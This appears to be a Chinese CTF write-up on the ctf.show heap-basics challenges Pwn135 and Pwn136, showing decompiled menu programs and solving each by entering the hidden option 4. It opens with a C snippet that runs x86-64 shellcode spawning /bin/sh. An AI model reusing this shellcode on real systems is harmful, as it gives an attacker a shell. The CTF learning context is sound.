1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 #include <stdio.h> #include <string.h> int main (void ) { char *shellcode = "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56" "\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05" ; printf ("strlen(shellcode)=%d\n" , strlen (shellcode)); ((void (*)(void ))shellcode)(); return 0 ; }
堆利用-前置基础 Pwn135
来看一下程序:
1 2 3 4 5 6 7 8 int __fastcall main (int argc, const char **argv, const char **envp) { init(argc, argv, envp); logo(); menu(); ctfshow(); return 0 ; }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 int logo () { puts (s); puts (asc_D40); puts (asc_DC0); puts (asc_E50); puts (asc_EE0); puts (asc_F68); puts (asc_1000); puts (" * ************************************* " ); puts (aClassifyCtfsho); puts (" * Type : Heap_Exploitation " ); puts (" * Site : https://ctf.show/ " ); puts (" * Hint : Learn how to allocate heap ! " ); return puts (" * ************************************* " ); }
1 2 3 4 5 6 7 8 int menu () { puts ("Choose a function to allocate heap memory:" ); puts ("1. malloc" ); puts ("2. calloc" ); puts ("3. realloc" ); return printf ("Enter your choice: " ); }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 unsigned __int64 ctfshow () { int v1; size_t size; void *ptr; unsigned __int64 v4; v4 = __readfsqword(0x28u ); ptr = 0 ; __isoc99_scanf("%d" , &v1); if ( v1 == 2 ) { printf ("Enter the size to allocate using calloc: " ); __isoc99_scanf("%lu" , &size); ptr = calloc (1u , size); } else if ( v1 > 2 ) { if ( v1 != 3 ) { if ( v1 == 4 ) { printf ("Here is you want: " ); system("cat /ctfshow_flag" ); } goto LABEL_12; } printf ("Enter the size to allocate using realloc: " ); __isoc99_scanf("%lu" , &size); ptr = realloc (ptr, size); } else { if ( v1 != 1 ) { LABEL_12: puts ("Invalid choice." ); return __readfsqword(0x28u ) ^ v4; } printf ("Enter the size to allocate using malloc: " ); __isoc99_scanf("%lu" , &size); ptr = malloc (size); } if ( ptr ) printf ("Memory allocated at address: %p\n" , ptr); else puts ("Memory allocation failed." ); return __readfsqword(0x28u ) ^ v4; }
这个程序主要演示了标准库堆内存分配,分别调用 malloc/calloc/realloc 申请指定大小的内存并打印返回指针,包含分配失败与非法选项处理。
正常情况:
错误情况:
但还没搞懂开了PIE的程序该怎么调试:
FLAG 不难注意到:
1 2 3 4 if ( v1 == 4 ) { printf ("Here is you want: " ); system("cat /ctfshow_flag" );
所以发送4即可获取flag。
pwn136
1 2 3 4 5 6 7 8 int __fastcall main (int argc, const char **argv, const char **envp) { init(argc, argv, envp); logo(); menu(); ctfshow(); return 0 ; }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 int logo () { puts (s); puts (asc_D80); puts (asc_E00); puts (asc_E90); puts (asc_F20); puts (asc_FA8); puts (asc_1040); puts (" * ************************************* " ); puts (aClassifyCtfsho); puts (" * Type : Heap_Exploitation " ); puts (" * Site : https://ctf.show/ " ); puts (" * Hint : Learn how to free heap ! " ); return puts (" * ************************************* " ); }
1 2 3 4 5 6 7 8 int menu () { puts ("Choose a pointer to free:" ); puts ("1. ptr_malloc" ); puts ("2. ptr_calloc" ); puts ("3. ptr_realloc" ); return printf ("Enter your choice: " ); }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 unsigned __int64 ctfshow () { int v1; void *ptr; void *v3; void *v4; unsigned __int64 v5; v5 = __readfsqword(0x28u ); v3 = 0 ; v4 = 0 ; ptr = malloc (4u ); if ( ptr ) { v3 = calloc (1u , 4u ); if ( v3 ) { v4 = realloc (0 , 4u ); if ( v4 ) { __isoc99_scanf("%d" , &v1); if ( v1 == 2 ) { free (v3); puts ("ptr_calloc freed." ); return __readfsqword(0x28u ) ^ v5; } if ( v1 > 2 ) { if ( v1 == 3 ) { free (v4); puts ("ptr_realloc freed." ); return __readfsqword(0x28u ) ^ v5; } if ( v1 == 4 ) { printf ("Here is you want: " ); system("cat /ctfshow_flag" ); } } else if ( v1 == 1 ) { free (ptr); puts ("ptr_malloc freed." ); return __readfsqword(0x28u ) ^ v5; } puts ("Invalid choice." ); return __readfsqword(0x28u ) ^ v5; } puts ("Memory allocation failed for ptr_realloc." ); free (ptr); free (v3); } else { puts ("Memory allocation failed for ptr_calloc." ); free (ptr); } } else { puts ("Memory allocation failed for ptr_malloc." ); } return __readfsqword(0x28u ) ^ v5; }
FLAG 输入4即可。